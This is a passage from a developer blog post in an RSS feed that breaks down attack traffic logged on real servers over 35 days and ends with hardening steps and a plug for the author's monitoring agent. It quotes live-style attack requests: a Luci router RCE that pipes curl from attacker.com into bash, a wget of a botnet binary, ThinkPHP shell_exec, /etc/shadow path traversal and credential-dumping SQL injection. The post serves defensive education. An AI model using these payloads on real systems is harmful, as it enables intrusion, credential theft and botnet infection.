&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="sr"&gt; "^\.env"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Require&lt;/span&gt; &lt;span class="ss"&gt;all&lt;/span&gt; denied
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;FilesMatch&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Config probing — 739 events
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;.env&lt;/code&gt; cousins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /wp-config.php
GET /.git/config
GET /.git/HEAD
GET /server-status
GET /.htpasswd
GET /web.config
GET /config.php
GET /database.yml
GET /settings.py
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don't know what you're running; they just spray and see what responds.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;.git/config&lt;/code&gt; one is particularly nasty if your &lt;code&gt;.git&lt;/code&gt; directory is exposed, they can download your &lt;strong&gt;entire source code&lt;/strong&gt; including commit history.&lt;/p&gt;

&lt;h3&gt;
  
  
  Path traversal — 1,362 events
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /../../etc/passwd
GET /..%2f..%2f..%2fetc/shadow
GET /static/..%252f..%252f..%252fetc/passwd
GET /images/../../../etc/hostname
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the double URL-encoding: &lt;code&gt;%252f&lt;/code&gt; decodes to &lt;code&gt;%2f&lt;/code&gt; which decodes to &lt;code&gt;/&lt;/code&gt;. This is designed to bypass naive WAFs that only decode once.&lt;/p&gt;

&lt;p&gt;They're trying to escape your web root and read system files — &lt;code&gt;/etc/passwd&lt;/code&gt; to enumerate users, &lt;code&gt;/etc/shadow&lt;/code&gt; for password hashes, or &lt;code&gt;/proc/self/environ&lt;/code&gt; for environment variables.&lt;/p&gt;

&lt;h3&gt;
  
  
  Remote code execution — 799 events
&lt;/h3&gt;

&lt;p&gt;The scary ones:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write
    &amp;amp;country=$(curl+attacker.com/shell.sh|bash)

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

GET /index.php?s=/index/\think\app/invokefunction
    &amp;amp;function=call_user_func_array&amp;amp;vars[0]=shell_exec
    &amp;amp;vars[1][]=whoami

GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each of these targets a specific CVE:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PHPUnit eval-stdin.php&lt;/strong&gt; — a dev dependency that should never be on production. If it's accessible, they have full shell access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ThinkPHP RCE&lt;/strong&gt; — affects ThinkPHP &amp;lt; 5.0.24. Allows arbitrary command execution via URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Luci router RCE&lt;/strong&gt; — targets OpenWrt/router admin panels exposed to the internet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Direct wget&lt;/strong&gt; — tries to download and execute a botnet binary. &lt;code&gt;bot.arm7&lt;/code&gt; tells you they're targeting IoT devices too.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Web shell access — 40 events
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /c99.php
GET /r57.php
GET /shell.php
GET /cmd.php
GET /webshell.php
GET /wp-content/uploads/shell.php
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They're checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scanner tools — 2,342 events
&lt;/h3&gt;

&lt;p&gt;These User-Agents appear constantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlmap/1.7
Nuclei - Open-source project (projectdiscovery.io)
Nmap Scripting Engine
masscan/1.3
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums.&lt;/p&gt;

&lt;h3&gt;
  
  
  SQL injection — 13 confirmed events
&lt;/h3&gt;

&lt;p&gt;Low volume but high impact. Every attempt is a targeted exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;GET&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;'+UNION+SELECT+username,password+FROM+users--
GET /search?q=1%27%20OR%201=1--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it's real not theoretical.&lt;/p&gt;

&lt;h3&gt;
  
  
  Everything else
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack type&lt;/th&gt;
&lt;th&gt;Events&lt;/th&gt;
&lt;th&gt;What it targets&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FTP brute force&lt;/td&gt;
&lt;td&gt;403&lt;/td&gt;
&lt;td&gt;vsftpd, ProFTPD credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web exploits (Spring4Shell, Log4Shell, Struts)&lt;/td&gt;
&lt;td&gt;176&lt;/td&gt;
&lt;td&gt;Known CVEs in Java frameworks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Honeypot triggers&lt;/td&gt;
&lt;td&gt;124&lt;/td&gt;
&lt;td&gt;Decoy endpoints that only attackers would hit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mail brute force&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;Postfix SASL, Dovecot IMAP/POP3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exposed database ports&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;MySQL/PostgreSQL open to internet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DB brute force&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Direct database auth attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF attempts&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Server-side request forgery&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Where the attacks come from
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Country&lt;/th&gt;
&lt;th&gt;Events&lt;/th&gt;
&lt;th&gt;%&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;United States&lt;/td&gt;
&lt;td&gt;117,171&lt;/td&gt;
&lt;td&gt;46.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Singapore&lt;/td&gt;
&lt;td&gt;60,109&lt;/td&gt;
&lt;td&gt;23.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;France&lt;/td&gt;
&lt;td&gt;13,223&lt;/td&gt;
&lt;td&gt;5.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;td&gt;10,647&lt;/td&gt;
&lt;td&gt;4.2%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Germany&lt;/td&gt;
&lt;td&gt;9,628&lt;/td&gt;
&lt;td&gt;3.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;China&lt;/td&gt;
&lt;td&gt;7,132&lt;/td&gt;
&lt;td&gt;2.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;United Kingdom&lt;/td&gt;
&lt;td&gt;4,607&lt;/td&gt;
&lt;td&gt;1.8%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netherlands&lt;/td&gt;
&lt;td&gt;3,254&lt;/td&gt;
&lt;td&gt;1.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hong Kong&lt;/td&gt;
&lt;td&gt;3,245&lt;/td&gt;
&lt;td&gt;1.3%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brazil&lt;/td&gt;
&lt;td&gt;2,251&lt;/td&gt;
&lt;td&gt;0.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Surprise: the US is #1 by far.&lt;/strong&gt; Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1).&lt;/p&gt;

&lt;p&gt;Russia and China combined are only &lt;strong&gt;7%&lt;/strong&gt;. Blocking "suspicious countries" misses 93% of the traffic.&lt;/p&gt;

&lt;h2&gt;
  
  
  The timeline: what happens when you deploy a fresh VPS
&lt;/h2&gt;

&lt;p&gt;I tracked the exact timing from several fresh Droplet deployments:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&amp;lt; 1 min&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Shodan, Censys, Masscan port scan — your IP is indexed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1-3 min&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;First SSH connection attempt (usually &lt;code&gt;root&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3-5 min&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;First brute force wave — 50-100 password guesses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5-15 min&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;First web exploit probe — &lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;wp-login.php&lt;/code&gt;, &lt;code&gt;.git/config&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;15-60 min&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bot crawlers discover your IP, start scraping everything&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1-24 hours&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Targeted scans based on what they detected (specific CVEs for your stack)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Your server is under attack before you finish your first &lt;code&gt;apt update&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Per-server breakdown
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Server&lt;/th&gt;
&lt;th&gt;Events&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;VPS with 64 domains&lt;/td&gt;
&lt;td&gt;155,901&lt;/td&gt;
&lt;td&gt;More domains = more attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VPS with 10 domains&lt;/td&gt;
&lt;td&gt;38,924&lt;/td&gt;
&lt;td&gt;Second most targeted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defensia platform server&lt;/td&gt;
&lt;td&gt;14,185&lt;/td&gt;
&lt;td&gt;Security product = ironic target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Clean DO Droplet (test)&lt;/td&gt;
&lt;td&gt;9,500&lt;/td&gt;
&lt;td&gt;Fresh server, nothing deployed — still 9,500 attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single-app VPS&lt;/td&gt;
&lt;td&gt;7,096&lt;/td&gt;
&lt;td&gt;One Laravel app = still thousands of attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Internal network server&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;td&gt;Only reachable via VPN — almost no attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The clean Droplet with nothing deployed got 9,500 attacks.&lt;/strong&gt; The IP alone is enough.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to do about it
&lt;/h2&gt;

&lt;p&gt;Five things every developer with a Linux server should do:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. SSH keys only, disable password auth
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'s/#*PasswordAuthentication.*/PasswordAuthentication no/'&lt;/span&gt; /etc/ssh/sshd_config
systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This eliminates 100% of SSH brute force. Non-negotiable.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Block sensitive file access
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Nginx — add to every server block&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt; &lt;span class="p"&gt;~&lt;/span&gt; &lt;span class="sr"&gt;/\.(env|git|htpasswd)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;deny&lt;/span&gt; &lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stops &lt;code&gt;.env&lt;/code&gt; probing, &lt;code&gt;.git&lt;/code&gt; exposure, and &lt;code&gt;.htpasswd&lt;/code&gt; leaks.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Enable a firewall
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ufw default deny incoming
ufw allow ssh
ufw allow http
ufw allow https
ufw &lt;span class="nb"&gt;enable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Only expose the ports you actually need.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Keep software updated
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt upgrade &lt;span class="nt"&gt;-y&lt;/span&gt;
&lt;span class="c"&gt;# Or enable unattended-upgrades for security patches&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most RCE attacks target known CVEs with patches already available.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Monitor what's happening
&lt;/h3&gt;

&lt;p&gt;This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You'd never know until something breaks or your server starts sending spam.&lt;/p&gt;

&lt;p&gt;At minimum, check your auth log regularly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time.&lt;/p&gt;

&lt;p&gt;It's a single Go binary that installs in one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://defensia.cloud/install.sh | &lt;span class="nb"&gt;sudo &lt;/span&gt;bash &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;--token&lt;/span&gt; &amp;lt;YOUR_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also works with &lt;a href="https://github.com/defensia/agent#docker" rel="noopener noreferrer"&gt;Docker&lt;/a&gt; and &lt;a href="https://github.com/defensia/agent#kubernetes-helm" rel="noopener noreferrer"&gt;Kubernetes&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The agent is MIT-licensed: &lt;strong&gt;&lt;a href="https://github.com/defensia/agent" rel="noopener noreferrer"&gt;github.com/defensia/agent&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Free tier includes 1 server with full protection. &lt;a href="https://defensia.cloud" rel="noopener noreferrer"&gt;defensia.cloud&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
